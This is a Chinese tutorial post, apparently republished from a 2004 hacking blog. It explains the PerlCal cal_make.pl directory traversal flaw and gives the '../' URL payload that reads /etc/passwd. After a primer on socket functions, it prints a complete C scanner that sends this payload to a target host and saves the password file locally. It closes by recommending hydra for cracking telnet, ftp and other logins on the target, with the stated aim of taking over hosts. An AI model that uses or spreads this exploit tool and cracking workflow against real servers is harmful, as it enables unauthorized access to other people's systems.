linux c 编程之五 cal_make.pl 漏洞扫描器

来源:互联网 发布:少女时代tiffany知乎 编辑:程序博客网 时间:2024/05/16 09:24

linux c 编程之五 cal_make.pl   漏洞扫描器

一思路:

这里利用的是showflie类漏洞的cal_make.pl来得到远程主机的密码文档,用法和我一篇基本是
相同的,可以说是姐妹篇啦!漏洞说明:

漏洞名称:  PerlCal 目录遍历漏洞  
漏洞概述:  存在漏洞,远程攻击者可以利用"../"技术遍历WEB根目录之外的其他目录 
 
受影响的系统:
Acme Software PerlCal 2.95
Acme Software PerlCal 2.9e
Acme Software PerlCal 2.9d
Acme Software PerlCal 2.9c
Acme Software PerlCal 2.9b
Acme Software PerlCal 2.9a
Acme Software PerlCal 2.9
Acme Software PerlCal 2.80
Acme Software PerlCal 2.7
Acme Software PerlCal 2.6
Acme Software PerlCal 2.5
Acme Software PerlCal 2.4
Acme Software PerlCal 2.3
Acme Software PerlCal 2.18
Acme Software PerlCal 2.13

描述:

PerlCal 是 Acme Software 开发的CGI脚本,提供基于WEB的日历功能。该脚本存在
漏洞,远程攻击者可以利用"../"技术遍历WEB根目录之外的其他目录,仅受WEB服务
当前所拥有用户权限的限制。通常情况下,WEB服务以nobody用户身份运行。
 
漏洞测试方法及漏洞测试程序: 
提交如下URL请求:

http://www.example.com/cgi-bin/cal_make.pl?
p0=../../../../../../../../../../../../etc/passwd%00

将显示/etc/passwd文件内容

二.函数说明:
又是socket的编程知识,不烦吧!?
1.套接字的类型
SOCKET_STREAM
SOCKET_DGRAM
SOCKET_RAW
SOCKET_SEQPACKET
SOCKET_RDM

2.套接字的地址结构
sockaddr_in
sockaddr
in_addr

3.tcp套接字的实现过程:

服务器端

socket()
   |
bind()
   |                     客户端
listen()                 socket()
   |                        |
accept()<--协调连接---- connect()
   |                        |
recv()<---数据请求------ send()<--
   |     |                  |    |
send()<----数据响应----> recv()--
   |                        |
recv()<-----结束连接------close()
   |
close()

下面具体介绍几个重要的函数:


 1.socket():
1.1 原型:
#include<sys/types.h>
#incldue<sys/socket.h>
int socket(int domain,int type,int protocol);
1.2函数描述:
调用socket函数获得一个文件描述符
domain:协议簇和地址簇,最常用的有AF_INET(IPv4协议)和AF_INET6(IPv6协议)

type:通信类型 SOCK_STREAM(字节流套接口)、SOCK_DGRAM(数据报套接口)和
SOCK_RAW(原始套接口)

protocol:使用的协议,为0时系统自动选择。
1.3返回值:
成功返回非零,失败返回-1。

  2.connect():
2.1原型:
#include<sys/types.h>
#include<sys/socket.h>
int connect(int s,const struct sockaddr *name,int namelen);
2.2描述:
调用connect为这个套接字指明远程端的地址
s是socket()函数返回的套接字描述符
name是包含远程主机ip地址和端口号的指针
namelen是远程地址结构的长度
2.3返回值
成功返回0,失败返回-1

  3.send():
3.1原型:
#include<sys/types.h>
#include<sys/socket.h>
int send(int s,const void *msg,size_t len,int flags);
3.2描述:
s 是accept()返回的套接字描述符,对于客户是socket()返回的套接字描述符。
msg是指向一个包含传输信息的数据缓冲区。
len 指明传送数据缓冲区的大小
flags是传输控制标志,其定义如下:
0 常规操作
msg_ooB  带外数据
msg_DONTROUT  通过最直接的路径发送数据,而忽视底层协议的路由设置.
如果flags为0,则和read,write一样的操作
3.3返回值
成功返回发送数据的长度,以字节为单位,失败返回-1.

  4.recv():
4.1原型:
#include<sys/types.h>
#include<sys/socket.h>
int recv(int s,void *buf,size_t len,int flags);
4.2描述:
s 是accept()返回的套接字描述符,对于客户是socket()返回的套接字描述符。
buf是指向一个包含接受信息的数据缓冲区。
len 和 flags 同上。
4.3返回值
成功返回接受的数据长度,失败返回-1.

  5.gethostbyname():
5.1原型:
string gethostbyname(string hostname);
5.2描述:
本函数可返回某个机器名称 (Domain Name) 的 IP 网址 (IP Address)。若执行失败,则返回原来的机器名称。

 


  6.sockaddr_in 结构:
6.1结构:
sockaddr_in在netinet/in.h中定义:
struct sockaddr_in {
short int sin_family; /*协议*/
unsigned short int sin_port; /* 端口号 */
struct in_addr sin_addr; /* 网络地址 */
unsigned char sin_zero[8]; /* 保持和sockaddr结构大小 */
};
6.2描述:
使用sockaddr_in这个结构来设置/获取地址信息。
sin_family指代协议族,在socket编程中只能是AF_INET
sin_port存储端口号(使用网络字节顺序)
sin_addr存储IP地址,使用in_addr这个数据结构
struct in_addr {
unsigned long s_addr;
};
这个数据结构是由于历史原因保留下来的,主要用作与以前的格式兼容。
s_addr按照网络字节顺序存储IP地址
sin_zero是为了让sockaddr与sockaddr_in两个数据结构保持大小相同而保留的空字节。
6.3示例:
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(3490); /* short, NBO*/
sa.sin_addr.s_addr = inet_addr("132.241.5.10");
bzero(&(sa.sin_zero), 8);
注意:如果sa.sin_addr.s_addr = INADDR_ANY,则不指定IP地址


  7.hostent 结构
7.1结构:
该数据结构定义如下:
struct hostent{
char *h_name; /*主机的正式名称*/
char **h_aliases; /* 主机的别名*/
int h_addrtype; /*返回的地址类型,一般是AF_INET*/
int h_length; /* 地址的字节长度*/
char **h_addr_list /*主机的网络地址*/
}


三.程序设计:

linux 下:
建立文件
nightcat@nightcat$vi calmake.c
编辑以下内容:
/*The  calmake canner  version 1.0
 *
 *One simple method  generate linux chicken is to search cgi script way-board.c
 *gi and use my small tools to get the passwd.txt
 *
 *
 *To complie:
 *user$gcc -o calmake calmake.c
 *
 *To use:
 *user$./calmake somedomain.com directory (i.e. ./calmake  antionline.com)
 *
 *Coded By Nightcat
 *March 2004
 * */


#include<sys/types.h>
#include<netinet/in.h>
#include<string.h>
#include<netdb.h>
#include<ctype.h>
#include<arpa/nameser.h>
#include<strings.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/socket.h>


int main(int argc,char *argv[])
{

int s;
struct in_addr addr;
struct sockaddr_in victem;
struct hostent *bad;
char buffer[1024];
FILE *fp;
char cgihole[300];
if (argc!=3)
{
exit(printf("/nUsage:%s domain.com  directory",argv[0])); /***注意一***/
}
sprintf(cgihole,"GET %s HTTP/1.0/n/n",argv[2]);
printf("%s",cgihole);
if ((bad=gethostbyname(argv[1]))==NULL)
{
exit(printf("Error getting hostname/n"));
}


printf("check  the hole /n");
printf("coded by nighcat/n");

system("sleep 2");

s=socket(AF_INET,SOCK_STREAM,0);
if(s<0) exit(printf("socket error/n"));

bcopy(bad->h_addr,(char *)&victem.sin_addr,bad->h_length);
victem.sin_family=AF_INET;
victem.sin_port=htons(80);
if(connect(s,(struct sockaddr*)&victem,sizeof(victem))<0)
{
exit(printf("connect error/n"));
}
printf("/ngetting host's passwd.txt/n/n");
if((fp=fopen("getpasswd.txt","w"))==NULL){
exit(printf("cann't open file"));
}
send(s,cgihole,sizeof(cgihole),0);
while(recv(s,buffer,sizeof(buffer),0)>0){/***注意二***/
fprintf(fp,"%s",buffer);
}
fclose(fp);
close(s);
}

保存退出
:wq
编译执行:
$gcc -o calmake calmake.c
$./calmake targetip /cal_make.pl?p0=../../../../../../../../../../../../etc/passwd%00
就得到和手工利用二,一样的用户文档.

得到用户,就可以用破解的方法来得到主机的普通用户.我就喜欢用hydra来破解
$./hydra  -F /root/passwd.txt targetip  telnet
详细看他的说明啦!还可以破解其他的服务。ftp/vnc/smtp等等!


四.后言
注意一:这里是输入的格式,其实这个程序可以代用其他的showfile类漏洞.
注意二:这里要用到while 的判断,才能接受所有的返回数据,我在这里也弄了挺久才明白过来!这个的意思是如果数据还大于零,就继续往写入文件直到数据写完.

五 联系我:

nickname:nightcat
e-mail:ncnynl@hotmail.com
qq:1043931
icq:153436005

原创粉丝点击